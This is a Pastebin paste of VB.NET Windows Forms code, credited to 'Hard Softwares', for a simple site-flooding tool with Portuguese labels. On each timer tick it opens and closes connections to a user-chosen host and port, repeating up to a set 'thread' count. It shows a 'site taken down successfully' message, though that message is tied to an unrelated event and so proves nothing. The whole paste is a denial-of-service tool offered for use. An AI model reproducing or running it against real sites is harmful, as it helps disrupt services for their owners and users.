Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Por Hard Softwares - http://www.youtube.com/user/tyziu1
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- If NumericUpDown1.Value = 0 Then
- MsgBox("Defina um Número de Threads Acima de Zero", MsgBoxStyle.Critical, "Número de Threads Inválido !!!")
- Else
- Timer1.Start()
- Button1.Enabled = False
- Button2.Enabled = True
- End If
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- Timer1.Stop()
- Label5.Text = "0"
- Button1.Enabled = True
- Button2.Enabled = False
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- For i = 0 To NumericUpDown1.Value
- AxWinsock1.Connect(TextBox1.Text, TextBox2.Text)
- AxWinsock1.Close()
- Label5.Text += 1
- Next
- 'By Renã Augusto da Hard Softwares
- End Sub
- Private Sub AxWinsock1_ConnectionRequest(ByVal sender As System.Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent) Handles AxWinsock1.ConnectionRequest
- MsgBox("Site Derrubado com Sucesso !!!", MsgBoxStyle.Information, "Site Derrubado !!!")
- End Sub
- Private Sub AxWinsock1_Error(ByVal sender As System.Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent) Handles AxWinsock1.Error
- MsgBox("Erro de Conexão !!!", MsgBoxStyle.Critical, "ERROR !!!")
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- End Sub
- 'Por Hard Softwares - http://www.youtube.com/user/tyziu1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement